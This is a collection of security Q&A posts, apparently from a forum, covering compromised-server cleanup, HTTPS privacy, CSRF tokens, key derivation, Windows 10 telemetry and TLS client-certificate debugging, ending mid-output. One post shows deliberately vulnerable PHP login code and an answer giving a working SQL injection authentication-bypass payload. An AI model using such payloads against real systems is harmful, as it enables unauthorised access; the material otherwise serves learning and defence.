Try to hunt your code for base64 encoded strings that you didn't create. You can grep for things like eval(. It might be in your database too if you've allowed them time on your box. There is likely a payload engine somewhere on the server (you would be more familiar with the existing code on the server than anyone here). I've seen these write FTP backdoors, custom database backdoors with new databases, and rootkits. So depending on who you're dealing with if you have physical access, unplug it from the network until you can clean it up.

Otherwise block all traffic to the server except from your own IP address.

You'll have to go through each step of their script to see what was allowed. They likely stopped at the first exploit. That doesn't mean the others don't exist though.

Note: Restoring from backup does not fix the exploit. It will last about 2 seconds if they're on your box.

Just a few other things to look for that I've run across:

crons (that check for the script and rewrite it in the event it's deleted)
executables in top (that you aren't expecting to be there)
New users
New subdirectories
New httpd.conf directories (a new website)
New database
New Database tables
New Database user
New groups
New IP whitelist rules in the firewall

These usually require a wipe and rebuild with better security from the beginning because usually when someone notices it's been a few hours since the exploit and the attackers have executed more backdoors and payloads onto the now infected box. It will show you where all of the server weaknesses are though.


How does Network Discovery OFF protect my computer? Yes, it seems that the computer will not respond to pinging. But any computer with a packet sniffer will be able to see my ip once I send any packet to the router. So basically, if I'm surfing the internet using public wi-fi - I can expect an attacker to be able to attack my computer almost as easily.

Is this true? Or does it do more than that? If so - what?

This setting turns off browsing answers.

Browsing is a protocol on windows networks where one computer send a broadcast to a local network "who else is there ?" and other computers answer.

Think about opening the 'Network' or 'Network Neighborhood' icon. That is what it does. It sends that broadcast and shows computers that are "discoverable".
If your discover is off, you won't appear on their list.


Application security training for developers I am trying to establish an application security group within an organization and although there is a plethora of courses for penetration testers, i fail to find an equal amount of training courses for developers / QA testers

The team i work with is very capable when it comes to its core functions (development, testing, testing automation) but have very limited exposure to application security - very basic knowledge of the OWASP Top 10

I looked on the Internet for courses to help them build their knowledge, and so far i have found 2-3 courses from SANS and a training bundle from Aspect Security. I haven't tried any of these yet, since i wanted to get some opinions before we commit

The ideal course(s) should contain:

An introduction, ideally based on the OWASP Top 10
Defensive techniques, ideally presented as a framework (e.g. OWASP ESAPI)
Security testing, oriented towards QA testers who like to automate vs manual penetration testing
Application of WAFs (for virtual patching)

Do you know of any course bundle that can provide me with this content, or should i be looking for individual courses from different providers? And if so, can you provide me with the names of training providers that you have used and you are satisfied with?

There's a couple of free resources I know about which could be good introductions for this kind of thing.  Security Innovations have a free OWASP top 10 CBT, Security compass have something similar here as do Trustwave

Beyond these basic ones at least two of those companies will have more options that are pay for, but these ones could be a good, free, starting point.


Armitage check exploit I am with all fairness not the most experienced penetration tester, I am doing an industry placement where I can improve my skills. I am using Armitage in Kali Linux to check for vulnerabilities in the company's network (I have permission from manager).

The manager told me to write a list of exploits I wish to try against the live site, and then he can check before letting me use them.

After doing a complete nmap scan, and clicking find exploits Armitage has given me hundreds of vulnerabilities which could be exploited. If I tried I believe most would NOT work (highly unlikely the site is so vulnerable).

To find a list of exploits which would work there is an option some exploits support called "Check Exploit", this way I can give my manager a list of exploits which the site is vulnerable to.

My question: what actually happens when you check an exploit? I for example don't want to launch an exploit and take down a live site (it would cost me my job!).

Thanks!

The suggestions of suitable exploits are generated by banner grabbing in most cases. For example, if a webserver returns something like nginx/1.9.4 in the header Metasploit will assume that this software is running in the specified version. But this is not always the case for various reasons. (Backporting of security patches like Debian does for example)

The Check Exploits option will add deeper checks and in various cases, it will try to exploit the vulnerability since in various cases there is no other way to determine whether a target is vulnerable or not. But it hardly depends on the module which is used and not all modules are supporting the check method.

For most of software testing it's best practice to avoid doing it on production systems. This is especially the case for pentests since in most cases an exploit is triggering undefined behavior of the software and its impossible to predict the outcome. I highly recommend to split the scanning (even this can trigger unwanted effects) and testing into smaller portions and doing it against a test system or at least outside of the main business hours.


How to store sensitive data I have made a program which has sensitve data hardcoded into it. Let's imagine that sensitve data is the password for my safe at home.

I realized that it is pretty unsecure to have the data hardcoded in the source code of the application. If somebody was able to break into my system, he/she could use a hex editor/debugger to find that string. So I came up with the idea to create a file on the harddrive containing the password, encrypt it with a strong algorithm, and then let the program ask for the key on startup. If the correct key is entered, the application will be able to parse the content. If a wrong key is entered, the application will parse garbage and crash, but the attacker can't get the password. To make sure nobody else can get hold of that key, I would print it out on a piece of paper and store it at home. My main problem is:

I want to use a secure algorithm for encryption and at the same time have a relatively small key. The algoithms I had a look at so far (RSA, AES) use long keys which I do not want to type in everytime I start the application. Is there an algorithm which fits my needs, or maybe another "plan" which is as secure as the idea I had?

PS: I know that when the application has loaded the password into memory after a successful boot, an attacker could get hold of it there. But that's another topic for another day.

Since you mentioned in the comments that this is a remote linux machine accesible over the internet. I would setup SSH with 2-factor authentication.

Example of SSH-2FA: https://www.digitalocean.com/community/tutorials/how-to-set-up-multi-factor-authentication-for-ssh-on-ubuntu-14-04

Also, you mentioned it is for personal use, so if they were able to have access to the machine in the first place, like you mentioned they would be able to reverse engineer your program even with the password approach, since its assumed they have access to your machine, they can just install some kind of monitoring software/keylogger and capture the password.

As mentioned by dandavis, PBKDF2 can be used:

"PBKDF2 applies a pseudorandom function, such as hash-based message authentication code (HMAC), to the input password or passphrase along with a salt value and repeats the process many times to produce a derived key, which can then be used as a cryptographic key in subsequent operations. The added computational work makes password cracking much more difficult, and is known as key stretching." Source: https://en.wikipedia.org/wiki/PBKDF2

But overall, since it is only running on your personal machine, I would focus on securing the machine itself then worry about the application. Setup some firewalls rules and SSH with 2FA would be my suggestions.


Can virus save to SIM Card? (Before everything excuse me because of my English) Today one of my friends asked me about his Nokia 130 Dual SIM. There was a problem about Short Message System. No Messages were sent from that phone. First I thought there is a problem with Message Center configuration. So, I checked it out. There was't any problem with SIM configuration and also with Second SIM.
I ejected that SIM and put it in my rooted Samsung Galaxy Mini GT-S5570I. My phone rebooted. When I tried to have a call, some buttons where invisible and their size was changed; Also my lock screen image was transparent. There wans't any Reset option in settings. I think its important to say: There isn't any anti-virus on my phone. I reseted my phone from bootloader.

After this scenario, I wanna repeat my question:

Is there any way to transfer virus (or any other hack/crack software) from SIM Card and activate that on phones?

rsm's answer is pretty wrong - there are vulnerabilities for SIM cards. An attacker can install an applet on your card (it probably won't happen because it really difficult to find those vulnerabilities).

After the installation, the SIM card can transfer data to phone or make the phone open a url and download a file (proactive commands).

So yeah - it's possible to store a virus (more like a stager) and run from a SIM. In theory (I don't think it exists), it's possible to setup a botnet from SIM cards.


Is there a real possibility of getting malware by “drive-by”? I know malware can be gotten by downloading and running stuff, but is there a real possibility of just viewing a webpage or clicking a link and getting one?

Assuming using only Firefox / Chrome and only the Flash plugin.

Perhaps I should rephrase the question like this: How many drive-by viruses have been discovered in the past couple of years for Firefox, Chrome, and the Flash plugin?

You can lookup vulnerabilities at http://cve.mitre.org/. "CVE is a dictionary of publicly known information security vulnerabilities and exposures."

A rough search of:

Firefox, returns 888
Chrome, returns 729
Flash, returns 371

Further filtering of the severity of these would need to be done, but this gives an upper bound of found vulnerabilities.

http://web.nvd.nist.gov/view/vuln/search allows for the filtering based off of time period, with only CVE checkbox selected, searches of 3 years, and 3 months gives the following respectively:

Firefox, returns 391, 64
Chrome, returns 653, 80
Flash, returns 227, 16


Application with direct datatabase access: store private key in database An application used by multiple users is accessing the database directly (so a potential attacker could also access the database directly).

On application startup, user authenticates using username and password.

Each user has its own key pair. This key pair MUST be stored in the database.

Question:

While keeping the scenario described above in mind:

Is there is a better way than encrypting the private key using a key derived from users password?

Provided you are properly using a NIST-approved authenticated encryption mode (such as AES-CBC & HMAC-SHA with proper KDFs & IVs, e.t.c.) breaking this should be as difficult as simply breaking an encrypted file. Now, depending on your use case this could/could not be enough. I will take you through a couple of other options I myself can think of, as well as the potential security benefits/drawbacks it may offer.

Option 1: Standard authenticated encryption with encrypted private key stored in DB

This (as mentioned before) will be security-wise just as good as encrypting a file in the same way, and should be as hard to break as the underlying encryption. However, it offers one major drawback: this allows an attacker to destroy/irreversibly modify the private key data, because this simply is not part of the encryption threat model (it only cares that the data is secret and cannot be modified without being detected). This is where I propose solution no.2:

Option 2: DERIVE the private key using the user's password

This option is involves (basically) feeding your derived key into a PRNG and generating the private key every time (whenever you need the private key, you just derive it from the user's password), this has the advantage of

not even being stored in the database,
the private key (obviously) cannot be corrupted now, because it is not stored anywhere.

However, this option may be a little more risky than option 1 because of two reasons:

PRNGs are generally considered inferior in terms of security to block ciphers (such as AES)
Depending on your choice, a brute-force attack on the underlying password MIGHT be faster than trying to break AES
The number of possible private keys is now inevitably much shorter (due to the nature of a psuedorandom number generator).


How to troubleshoot "client certificate" related errors in 2 way HTTPS I have a webserver which is asking for client certificate for mutual authentication. I have what I think is the right certificate loaded into my client browser. However, the browser is not able to find the certificate & is giving the error "This page can’t be displayed" when I visit the page from IE (it also fails in chromium and FF). Is there any tool which will help me figure out what exactly is certificate the server is asking my client browser for?

I tried through some network monitors - but there is some much data exchanged that I cannot find it.

If the server requests the certificate during the initial handshake, simply use Wireshark and look for the Certificate Request TLS message (just before Server Hello Done). If you look into the details of this package, you should see a certificate_authorities list giving you the list of acceptable CAs. Your local chain will need to match one of these.
If there is no visible Certificate Request message, it may be in a re-negotiated handshake. In this case, this second handshake will be encrypted, so not immediately visible. Recent versions of Wireshark let you use a pre-master secret (see "Using the (Pre)-Master-Secret section on the Wireshark SSL wiki page, and this answer of course). This is generally more convoluted, but this can be done.

More generally, to debug your problem, I would also look at other NSS environment variables, such as SSLDEBUG (and SSLDEBUGFILE), when using Firefox.

In addition, you could use openssl s_client -connect my.host.example:443 -servername my.host.example (with various levels of verbosity if required) to simulate a browser connection to your server. That should at least tell you which CAs are advertised in the Certificate Request message. If the server uses re-negotiation, you might need to write a minimal HTTP request looking more or less like this (adapted with what you need):

GET /my/protected/resource HTTP/1.1
Host: my.host.example

(In some complex settings, you might have to copy/paste the other headers you see from a browser request, using its developer tools.)

(You may also find the -prexit option useful in some cases, credit to this answer.)

Since it seems from comments that forging manually the HTTP request doesn't work for you, another possibility is to use curl --verbose https://my.host.example/my/protected/resource > /dev/null (you can also use finer debug levels such as --trace or --trace-ascii if required, see man page for curl). This should produce something like this, so hopefully you should see a Certificate Request somewhere:

* SSLv3, TLS handshake, Client hello (1):
} [data not shown]
* SSLv3, TLS handshake, Server hello (2):
{ [data not shown]
* SSLv3, TLS handshake, CERT (11):
{ [data not shown]
* SSLv3, TLS handshake, Server key exchange (12):
{ [data not shown]

Better, if you need the request to be more realistic, make your actual request from Chrome after opening the developer tools. Right-click on that and use "Copy as cURL", then paste it and use it with curl (add --verbose or other): this should copy the necessary headers. There's a video with an example here.


Chromium Sandbox on Mac OSX: Is it enabled by default? I have decided to finally replace the closed source and privately owned Google Chrome with the open-source Chromium on my Mac OSX 10.9.2 (Mavericks).

I have read the differences between both here:

And the article suggests that in Chromium, unlike Chrome, not always the Sandbox feature is enabled (and to open "about:sandbox" in the browser to confirm". Well when I open it in Chromium I just get the default "not found" page.

Does that mean Chromium does not have sandbox protection on Mac OSX?

Reanimating :)

https://www.chromium.org/developers/how-tos/debugging-on-os-x#TOC-Temporarily-disabling-the-Sandbox

According to this it is enabled by default.


Can my machine be compromised if I use an outdated application and the input data is trusted? Suppose I decide to use an outdated application for some reason: maybe I can't update it for compatibility reasons, or updates are not provided in the official repositories I use, or maybe I just don't feel like upgrading it because it just works and I see no reason to update it. For all I know, this application might be full of vulnerabilities that were only patched in later versions.

The question is: can I get infected by using such an application if its input data is trusted? For example, I'm not talking about a PDF reader that you can use to open random documents, maybe downloaded from the internet or sent by your friends, because that would be input data that you can't really trust. Imagine instead that you used that PDF reader only to open documents that you have written yourself (so it's trusted data). Or think of offline password managers, where password databases are supposed to be trusted (it's your data).

I'd guess it's safe to use an outdated application provided that the input is trusted and that it doesn't open any ports for communicating on the internet, but I'm not sure if I'm missing anything.

Good question. It depends.

If you are actually able to segregate this device from the rest of the network, then yes, it may be ok. For instance, you allow this device to only talk to its trusted sources, when those conversations conform to very specific, well-formed conversation parameters. You are referring to Critical Security Control 2.10 "Physically or logically segregating high risk applications."

This shouldn't be a first option. But, when legacy applications need to be run then the risk should be reduced as much as possible by logical/physical segregation. For instance. Don't run this application on the same box as anything else. Defiantly not a DHCP server, SQL database, or web server for obvious reasons. This app gets its own device (virtual or physical) and only gets to talk to trusted sources (OSI layers 2, 3 and 7) that are explicitly allowed.

A great many business need to run apps like this, and while this should be avoided if at all possible, there is a right way to manage the risk imposed by such an application.

The key is to know exactly what a legitimate conversation/interaction with this application looks like and impose strict technical controls that prevent anything outside a "known good" conversation. Know what inputs, devices, applications, conversation cadence, conversation length, session duration, OS services, users... are required to preform the specific function of the vulnerable app, and limit the permissions and controls to prevent any wiggle room. Have IDS alert on anything outside these parameters. Have local and network firewalls tuned to these parameters. Put the device on it's own VLAN. Have a dedicated, lowest possible permission user account for this app if you can.

Will that mitigate all your risk? No. You are using a vulnerable app. Will that risk be acceptable? Maybe. That's up to you and your CISO.


CSRF token unique per user session - Why? OWASP recommends that a CSRF token should be unique per user session.

What is the attack vector or reasoning behind that?
How could an attacker exploit a web application that does not invalidate the CSRF token after logout (or renews it after login)?
How severe is it if a web application does not follow that recommendation?
Does this apply to all kinds of (anti-) CSRF protection implementations (e.g. a token submitted via a custom header), or only to specific forms of CSRF tokens?

The attack vector here is disclosure of the token. The defense is not so much concerned with specifically how that token is disclosed, but addresses any method in which an attacker might obtain that value. If an attacker can obtain the token, that opens the possibility they can craft a CSRF attack. Again, the specific method of attack itself isn't the concern here.

The purpose of changing the token is to limit the window of opportunity. You could have the CSRF token change once a month or have it change on every request. Changing it with every session is a good middle ground that avoids some of the complications of a token changing too fast yet still provides good limits of exposure. Ending a session is also a natural transition of state, so that also makes it a good place to change the CSRF token.

Limiting your overall exposure to CSRF can make changing the CSRF token with every session less important. Some ways to do that are:

Passing the token as HTTP header rather than a form value.
Properly using POST vs GET requests when updating data or initiating transactions.
Using the SameSite cookie attribute, the Secure attribute, and the __Host- or __Secure- cookie prefixes to help protect cookies from exposing information or being overwritten.
Using the Origin and Referer HTTP headers to verify that the request came from the expected location.
Providing additional interactive steps such as a confirmation page or even re-authentication for the most sensitive actions.

Deciding when to renew the CSRF token depends on your overall risk and general resistance to CSRF attacks. With a good defense-in-depth strategy you might be able to compromise on on how frequently you change that token.


Does SSL/TLS (https) hide the urls being accessed Suppose I type this in my browser

https://www.mysite.com/getsecret?username=alice&password=mysecret

and an attacker is watching all traffic from me to my ISP.

What information is protected by HTTPS? Is the URL revealed? Are the parameters of the get request revealed?

Also, does HTTPS provide integrity for the url?

I tried looking at various HTTPS articles and the TLS specification but was not able to figure this out.

[EDIT:] It is okay if only the server domain name is revealed. However, no part of ?username=alice&password=mysecret should be revealed.

The HTTPS protocol is equivalent to using HTTP over an SSL or TLS connection (over TCP).

Thus, first a TCP connection (on port 443) is opened to the server. This is usually enough to reveal the server's host name (i.e. www.mysite.com in your case) to the attacker. The IP address is directly observed, and:

you usually did an unencrypted DNS query before,
many HTTPS servers serve only one domain per IP address,
The server's certificate is sent in plain, and contains the server name (between multiple ones, maybe),
in newer TLS versions, there is the server name indication, by which the client indicates to the server which host name is wished, so the server can present the right certificate, if it has multiple ones. (This is done to be able to go away from 2.)

Then a TLS handshake takes place. This includes negotiation of a cipher suite and then a key exchange. Assuming at least one of your browser and the server didn't include the NONE cipher in the accepted suites, everything following the key exchange is encrypted.

And assuming there is no successful man-in-the-middle attack (i.e. an attacker which does intercept the connection, and presents a forged server certificate which your browser accepts), the key exchange is secure and no eavesdropper can decrypt anything which is then sent between you and the server, and also no attacker can change any part of the content without this being noticed. This includes the URL and any other part of the HTTP request, as well as the response from the server.

Of course, as D.W. mentions, the length of both request (which contains not much more variable data than the URL, maybe some Cookies) and response can be seen from the encrypted data stream. This might subvert the secrecy, specially if there are only a small number of different resources on the server. Also any follow-up resource requests.

Your password in the URL (or any other part of the request) should still be secure, though - at most its length can be known.


SQL injection to login when there's no record in the database I have a question to solve. Well there's no records of username and password in the database and so one cannot Log in without inserting any records. Is there anyway to exploit the following code and insert records so that we can login.

<?php
        $con = mysqli_connect("localhost", "root", "pass", "database");
        $username = $_POST["username"];
        $password = $_POST["password"];
        $logged_in = false;
        $query = "SELECT * FROM users WHERE username='$username'";
        $result=mysqli_query($con, $query);
          if(mysqli_num_rows($result) === 1) {
                $row = mysqli_fetch_array($result);
                if($row["password"] === $password){
                       $logged_in = true;
                }

        if(!$logged_in)
                echo("Failed to login");
?>

I have tried the following
 username = ' OR 1=1 LIMIT 1 ; INSERT INTO users (username,password) VALUES('user','pass') --
 username = ' OR 1=1 LIMIT 1 --

Also tell me if there's any other way to exploit the code.

This appears to be a case of UNION SELECT rather than inserting your own records.
What you need to do is figure out how many columns are being selected (by trial and error.. SELECT 1,2,3...n until you stop getting an error).

After that, you inject the query so the first part returns false (no username found). The tricky part:
You inject ' OR 1 = 0; UNION SELECT 'banana' AS username, '123456' AS password FROM users LIMIT 1;# into the username field, and into the password field you inject 123456.

You essentially force the SQL query to return any password you want and therefore bypass their conditions :)


Can it be proved that two CDs were burned by different computers? A friend of mine made a personal data CD. Days later he found a copy elsewhere.

He wants to prove the copy didn't come from his computer, but that someone took the CD and copied it from another computer. Can it be done?

According to Microsoft (via here), CD burners can leave a digital fingerprint of sorts. What's necessary to detect and compare them, or whether it's within the reach with consumer technology I don't know though.


How does Windows 10 allow Microsoft to spy on you? Windows 10 is perhaps the most Internet-connected and cloud-centric operating system released by Microsoft to date. This, of course, has caused many users to be concerned about how the OS respects their privacy (or doesn't).

Multiple sources are now claiming that this OS reports user data to Microsoft which could be violating the users' assumptions of privacy. (A couple of examples are linked below.)

How legitimate are these concerns and claims? Is Microsoft actually collecting data about Windows 10 users' location and activity? Are they actually authorized to do so, simply by a user's acceptance of the EULA?

I'm aware that Windows 10 sends malware files to Microsoft for analysis. This is a common and generally-accepted practice for most antivirus products, and antivirus is known to be integrated into this OS. What about the other information?

TechWorm - Microsoft’s Windows 10 has permission to watch your every move
BoingBoing - Windows 10 automatically spies on your children and sends you a dossier of their activity

It's worth noting that your first link is in relation to the Windows Insider program. The Windows Insider program provides you with pre-release software that does call home with usage details and other information. This is something that you agree to by installing the Windows Insider preview - if you don't like it, you don't have to install it, it's completely your choice.

The EULA for the released version of Windows 10 doesn't include this section and there is no evidence that this information is being collected (which of course could just mean they're better at hiding it).

The second link that you've provided is regarding the Family functionality, this is functionality that has to be enabled in order for it to work and collects application usage statistics and browsing history. In the instance linked in the article, it's perfectly possible that this functionality was enabled in Windows 8 and expanded upon when the upgrade to Windows 10 occurred. On my clean install I don't have this going on so this isn't enabled by default and has to be something that you opt into - again, when you opt into something like this you're given an agreement to agree with stating that additional information will be collected. If the information wasn't collected, functionality like this simply couldn't work.

Windows 10 has a large number of privacy settings - many of these are on by default but they're easy enough to disable by opening up the Settings app and working your way through the Privacy settings. This covers a large variety of options from your unique advertising identifier, which is shared across various applications to allow Microsoft to track your use of the apps and show you targeted ads, to Bing search in the start menu, which will send your search queries to Microsoft Bing. This also includes many settings from older versions of Windows, such as the SmartScreen filter, which sends URLs to Microsoft for validation.

Windows 10 also contains Cortana, with Cortana enabled, you're asking Microsoft to provide you a personal assistant and this will include sending information about your activities (including applications you run, GPS locations, browsing history) back and forth between your machine and Microsoft. This can include things like your handwriting and what your voice sounds like, but these can be disabled individually within Speech, inking & typing within Privacy settings. Cortana isn't unique in this behavior. (How do you think Google Now and Siri work?)

If you sign into Windows 10 with a Microsoft account, authentication is handled via Microsoft as well. This will also provide you with the functionality to synchronize your desktop settings, passwords, web browser settings and more between multiple devices running Windows 10. If these options are enabled then this is additional information that is synchronized to Microsoft's servers. Each of the individual sync settings can be toggled in the Settings app under Accounts > Sync your settings, or you can simply not log in with a Microsoft account and use a local account. If you're using Windows 10 Home edition, you will need to use a Microsoft account in order to enable BitLocker, and your recovery key will be uploaded to Microsoft's servers. This restriction does not apply to Windows 10 Pro or higher.

With the "Sample submission" option for Windows Defender enabled, Windows Defender will send your files off to Microsoft - for example if you had some kind of confidential document with a macro in it that Windows Defender identified as a threat, with the  option enabled, this file would be submitted to Microsoft for analysis.

There are reports that even with all of the above functionality disabled some information is being passed back and forth to Microsoft (Arcs Technica), and Microsoft's response on this matter is as follows:

  As part of delivering Windows 10 as a service, updates may be delivered to provide ongoing new features to Bing search, such as new visual layouts, styles and search code. No query or search usage data is sent to Microsoft, in accordance with the customer's chosen privacy settings. This also applies to searching offline for items such as apps, files and settings on the device.

It's worth noting that Arcs Technica states this statement from Microsoft is consistent with their findings

Basically, as part of the Windows Feedback and error reporting, diagnostic data is reported back to Microsoft, this can only be disabled in the Enterprise and Server editions of Windows 10 through the use of group policy editor but can only be set to a "basic" mode on Home and Pro editions which "limits the amount of data sent". This can be set in the Settings app under Feedback & Diagnostics.

Microsoft have never hidden the fact that Windows 10 is supposed to be the last major release and that future functionality will be provided as automatic updates. Any such system will require information to be passed to Microsoft to work. Ultimately, there are a lot of components in Windows that will individually and collectively synchronize their status with their online counterparts and this will result in internet traffic.


Sending GET requests to non-servers? I ran a couple of wireshark runs for my computer and noticed inbound GET requests.

Is it legitimate traffic for there to be GET request traffic inbound to my home computer if my home computer isn't a server?

There are a couple issues here.

First off, I am assuming you are talking about an HTTP GET request. These requests are sent once a connection is established, so you would need to have a port open to see this.

With that said, it doesn't matter what port you have open or what service is running on that  port. The GET might fail, but it is surely possible for someone to send it to any listening socket.

You mentioned that this is your home computer. Most home computers are behind a router using NAT. If this was the case, you would need to explicitly forward external ports to your internal IP in order for an outside connection to be established with your internal address.

So in short, yes its possible. It's also possible that this is a false positive or misinterpretation. If you want to know more, you need to provide more details.


Is this a valid Windows update page In my chrome browser if I google for Windows Update the first hit is

windowsupdate.microsoft.com/

When I click on it I am redirected to

http://www.update.microsoft.com/windowsupdate/v6/thanks.aspx?ln=en&&thankspage=5

Now this to me looks like my machine has been hijacked and somebody with bad graphics ability has redirected my page to this dodgy graphic telling me to use windows update.

However I cant find details anywhere.  On some other machines I get a different (slightly more professional looking) page.

Can anyone tell me if this is a spoof page due to malware or virus on the machine.  My Norton isn't showing anything?

This is a genuine Microsoft Update site. If you go to any Microsoft KB article you'll see the link in the INTRODUCTION section (example). All old Windows Update addresses such as windowsupdate.microsoft.com and windowsupdate.com now redirect to the new update.microsoft.com.

The new domain seems to be a policy of unifying the update site for Microsoft's products under one name: Microsoft Update. As for the bad graphics and malware suspicions, a malware wouldn't really tell you to use a Microsoft application to update system. A malware usually tells you to click on shady links or asks you to download some "update helpers".


How to understand socat certificate check limitation? I have set up a certificate-based connection with socat using this tutorial: http://www.dest-unreach.org/socat/doc/socat-openssltunnel.html

My socat connection works as following (only the relevant parts of the command):
ssl:<server-ip>:<port>,cert=/path/to/client.pem,cafile=/path/to/server.crt
ssl-l:<port>,cert=/path/to/server.pem,cafile=/path/to/client.crt,fork

I'm doing this for a university course and there is an additional question asking what security problems could arise due to the line

  NOTE: The server certificate is only checked for validity against cafile or capath, but not for match with the server’s name or its IP address.

Now I'm not sure whether or not I understand this correctly, the way I do is:
The server's server.pem file (.key and .crt combined) is checked whether or not it matches the client's server.crt, however it does not check the certificate's (server.crt) CN for a match on the server's domain/IP/whatever.

If that is correct, I fail to find any critical security problems without having the server's private key having to be stolen (in which case you've already lost anyways).

If you only check that the certificate is valid in the PKI, but not that it matches the server name (either the domain or IP address), then you can be fooled by a certificate issued to a different site.

Suppose:

I own malicioussoftware.com
Thus I can but a certificate for malicioussoftware.com
You (attempt to) connect to https://www.microsoft.com, but I set a MiTM and answer with my malicioussoftware.com certificate.
Your socat sees the certificate is valid (it is signed by a trusted CA) and happily goes on.


Windows Server 2012R2 -> Trusted Root CA Store (Local Computer) not listed in SERVER HELLO / CERTIFICATE Request filed of TLS1.2 handshake my company developed a .net based application (relying on SChannel) aimed at performing TLS1.2 mutual authentication between 2 instances of the same SW, one acting as client and the other one as server in the TLS1.2 mutual authentication session.

Both client and server SW instances were deployed on different Windows OS servers (2008R2 and 2012R2).

We have tested successfully the application on a Windows Server 2008 R2 OS (both "client" and "server" SW instances running on WIN 2008R2 OS); in that case, the Server provides, within the initial "Server Hello" message of the TLS1.2 handshake under the "Certificate Request" section, a list of "Distinguished Names" which matches the content of the Trusted Root CA Certificate Store (Local Computer) running on that same server, as per TLS1.2 RFC standard.

However, when running the same application (using the same set of certs) on a Win2012 R2 OS environment, during the Server Hello message, the Certificate Request part keeps returning an empty DN list (that is, 0 certificate being listed), even if the same set of Trusted Root CA are available in the Trusted Root CA Store (Local Computer).

When the SW acts as client in the TLS1.2 handshake, running on either 2008R2 or 2012R2, the SW is able successfully to use a client-authentication certificate made available / installed under the Local Computer -> Personal -> Certificates.

I was not involved in the code development of the program cryptographic feature, but I have the feeling that I might just be missing some additional settings introduced at OS level when moving from 2008R2 to 2012R2 rather that having a SW issue - hence I was wondering if anyone could suggest possible OS settings that might need to be adapted.

Thank you

Expected behavior on Win2012. Leave as is, or force via registry.
I have never configured client cert auth on any IIS but I think I found out what's wrong here: "SendTrustedIssuerList" defaults to OFF in Win2012.
The server side of mutual TLS auth works differently in Win2012.
Namely: The behavior to send the Trusted Issuer List by default is off: Default value of the SendTrustedIssuerList registry key is now 0 (off by default) (Archived here.) It seems that you could do this manually in earlier Windows server versions, but now it is the default.
Additionally what Win2012 now seems to do is a lookup process across three certificate stores for acceptable client certificate CAs (Archived here.). (Namely you no longer need the cumbersome process of generating the list of acceptable CAs via a "CTL"/"Certificate Trust List" and instead just move/copy acceptable CAs into new certificate stores.)
HOWEVER: Even though such a "Trusted Issuer List" must be generated INTERNALLY, it is NOT sent out EXTERNALLY to the client. And that is because SendTrustedIssuerList now defaults 0.
So the solution seems to be to:

Check that the three-store-process is correctly set up server side.

And for interactive applications:

If you insist on sending the acceptable CAs to the client then force SendTrustedIssuerList to 1. But then expect client Apple Safari to fail.. (I expect this to be a non-issue, as this would already have happend in your Win2008r2 setup and you didn't mention this.)

If you do not insist on sending the acceptable CAs to the client, then leave as is. But expect a larger "choose your client cert here" dialog box on your clients, as you no longer offer them any hints about acceptable client certs. (But then again client browsers usually don't really have that many client certs to choose from. So the list will likely be short.)

And for non-interative applications, as in your case:

Either to force the client side to supply the right client cert without getting the hint.

Or to force the server to send the hint and the client side to take the hint.


Laptop Anti-Theft Measures A law firm I've been in contact with has recently been broken into 3 times in the past 4 months. In spite of a number of laptops and other equipment containing sensitive information being stolen, the tech support company occasionally doing work for them has done nothing to safeguard against future theft. I proposed installing anti-theft software (such as Prey) and later considered establishing one system as an information-gathering honeypot with hidden keyloggers sending information to a number of email addresses.

All physical security best practices aside, what other measures could possibly be implemented here? These are all Windows systems. I don't doubt the separate incidents are linked and being carried out by connected if not the same criminals.

The firm has already been in contact with the local authorities.  However due to a lack of documentation on the stolen items, there are no serial numbers or additional helpful information on the missing devices besides make and model, so recovery seems a dead end but at the least they're aware of the incidents.

Consider getting a software product which fully encrypts your hard drives. Such a software will prompt the user to enter the password used to encrypt the hard drive during boot. Without the correct password, the hard drive (including both the OS and any data) can not be decrypted, the system won't boot and the user won't get any access to the data.

In that case a thief might still be able to sell the hardware by nuking the disks, but won't have access to any sensitive information stored on it.

The default solution for Windows is Microsoft BitLocker, which is already available out-of-the-box in some editions of Windows. There are also other products on the market like Sophos Safeguard or Truecrypt. For recommendations which product to use, consult Software Recommendations Stackexchange.


Should I trust AutoFull.com? I want to buy a chair from this website http://www.autofull.com/ but the entire website says it is "not secure" except when I press the "settlement/pay now" button and it takes me to a new website that is "secure" https://secure.oceanpayment.com/

I've searched EVERYWHERE to see if this company is legit or not. Most of the time I just find their Amazon. Sadly the thing I want to buy is out of stock on Amazon :/

If anyone has ordered from there your help will be greatly appreciated. I do a lot of searching before I order from an unfamiliar website and this one has me stumped!

Not Secure means not secure. If they can't get HTTPS on their site or HTTPS to work well, I wouldn't trust their website.

You do have options:

Call them and place the order over the phone.
Just heard about this: https://privacy.com/ - they give you a one time use, a changing credit card number, or something similar

This is really about you protecting yourself from credit card theft.

And if you're worried about credit card theft, know that your bank actually will cover you. It's a hassle, but you aren't liable for stolen credit information (in America).

So, rather than spending time to understand "not secure," assume the website is not secure, and decide how to mitigate your risk.


MySQL encryption without knowing key I am currently struggling with how to correctly implement storage of encrypted fields in a MySQL db, without knowing the encryption key.
The result I am trying to achieve is to encrypt certain pieces of user provided information, which if I was legally obliged to provide to third parties would be encrypted without me being able to provide the key/s. Thus I concluded full partition encryption wouldn't make much sense, as I'd need to know the password for starting/resetting the server.

The only solution I could come up was to use the standard MySQL AES encryption, and derive the key from plaintext user password when it is supplied upon registration and login.
A small problem associated with this is that I won't be able to process the encrypted data unless the user is logged in (hence cronjobs are out of the question, which might be quite troublesome), and I will have to keep the password in session, which isn't too much trouble I suppose.

I would be open to any alternative suggestions, or improvements of the simple implementation above, including using multiple servers if that would help.

PBKDF2 is Password Based Key Derivation, and is used for situations like this. The wiki lists several different implementations in various languages. It works as you describe (with a salt and pseudo-random function).

I'd caution you to think thoroughly about the model -- i.e., how will you handle password resets? Or lost passwords? Sounds like the user would lose his/her data with this model.


Configuring SSL certificate on OS X 10.8.5 produces "Chain issues Contains anchor" error I'm trying to install a Thawte SSL123 certificate on OS X 10.8.5, but having a difficulty. While the certificate and intermediates appear to be installed without any errors, running the Qualys SSL Labs report produces a "Chain issues   Contains anchor" message. Running openssl s_client -showcerts -connect externalcortex.com:443 command shows a duplicate (see below)

Any help would be much appreciated!

CONNECTED(00000003)
depth=3 /C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
verify error:num=19:self signed certificate in certificate chain
verify return:0
---
Certificate chain
0 s:/OU=Go to https://www.thawte.com/repository/index.html/OU=Thawte SSL123 certificate/OU=Domain Validated/CN=externalcortex.com
